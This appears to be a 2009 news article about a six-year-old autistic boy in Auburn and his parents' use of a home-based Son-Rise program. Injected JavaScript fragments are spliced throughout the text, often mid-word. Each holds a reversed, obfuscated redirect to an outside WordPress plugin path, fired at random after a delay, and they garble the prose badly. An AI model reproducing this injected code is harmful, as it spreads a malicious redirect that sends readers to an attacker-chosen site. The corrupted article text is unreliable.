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Family’s home-based effort working wonders for autistic boy

Posted on November 26, 2009

Before mom’s very own eyes, 6-year-old Zach continues to discover a world outside his own.

The Auburn boy is beginning to come out of his autism shell.

Such progress was evident innocently in a play area inside a shopping mall.

Therese Verzosa’s adventurous son was sharing giggles andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} smiles with a little girl. She ran, he chased. In the language of their play, words were unnecessary.

When she paused to get a drink, he waited patiently, ever mindful of her presence.

Zach never before paid close attention to other kids, especially at play. As a child, he never really showed interest in other kids except for a familiar few.

But that appears to be changing. A Lakelandtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} Hills family is doing its best to assimilate a lovable boy to mainstream life. Such a challenge is difficult andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} ongoing, but its one they are willing to tackle.

“We have fought autism for many years now since the time of his diagnosis,” said Therese, a registered nurse by profession who has devoted considerable time andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} effort toward understandtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ing the disorder andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} working with her youngest son. “In his own unique way, Zach has battled against this monster every day. I have seen him struggle through it all. He is our family’s hero.

“He laid the foundation of patience, persistence andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} most of all, faith,” she continued. “Through him, we had decided that little things are better than the big ones. Through him, we realized happiness is not expensive nor hard to reach. It is a choice. It can be acquired easily if you so desire.”

Through Zach’s autism, the family has discovered an immense capability within to appreciate people for what they are andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} live in an attitude of total acceptance.

The Verzosas are not alone.

Autism, once a rare andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} mysterious disorder, is no longer so rare. A generation ago, only two to four of every 10,000 children were labeled autistic. Today, it’s more like 60 per 10,000 by some estimates.

But no one knows why. Experts say there has been an actual increase, andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the reasons for that are not entirely clear — though there are plenty of theories.

Autism Spectrum Disorders, usually noticed by the time a child is 3, is four times more common in boys than girls. It affects social interaction, communication andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} behavior, but there is a wide variety in symptoms. Some children don’t speak. Some are talkative, but don’t make eye contact. Some are clingy, while others hate btog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}eing held.

The Verzosas confronted those symptoms in Zach. It has been a rough ride.

As Therese explained, Zach’s third year was excruciatingly difficult for him. His communication was impaired to the point he could not communicate what he wanted. There were numerous times that he would scream endlessly, a scream that was ear-splitting andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} heart-wrenching, almost like the wail of a beaten child.

The family sought professional help. Speech andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} occupational therapy have done wonders. Today, he attends special education pre-school class at Dick Scobee Elementary.

With the help of multiple treatments, Zach can now communicate much more effectively. However, he still has social anxiety disorder, interaction disorder andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} attention deficit.

The family has decided to do more at home.

This year, Therese andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} her husbandtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}, Jude, a physician, were introduced to Son-Rise – a stimulating, high-energy, one-on-one, home-based, child-centered program. The program, provided by the Autism Treatment Center of America, provides training for parents andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} professionals caring for autistic children. The program places parents as key teachers, therapists andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} directors of their own programs andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} uses the home as the most nurturing environment in which to help their children.

“It was so basic, accepting the child as who he is,” Jude said.

The Verzosas have seen an improvement in Zach with the program. His vocabulary has picked up, as has his motivation to interact.

“The program taught us the wonderful message that before we ask Zach to reach out into our world, we have to invite ourselves first to be into his world andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} accept it without judgements,” Therese said.

Progress has come with time. They are setog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}eing more gleam in Zach’s eyes.

“This is what I am thankful for,” Therese said. “There is never a day that goes by that I do not thank God for giving us Zach andtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} his special world of autism.”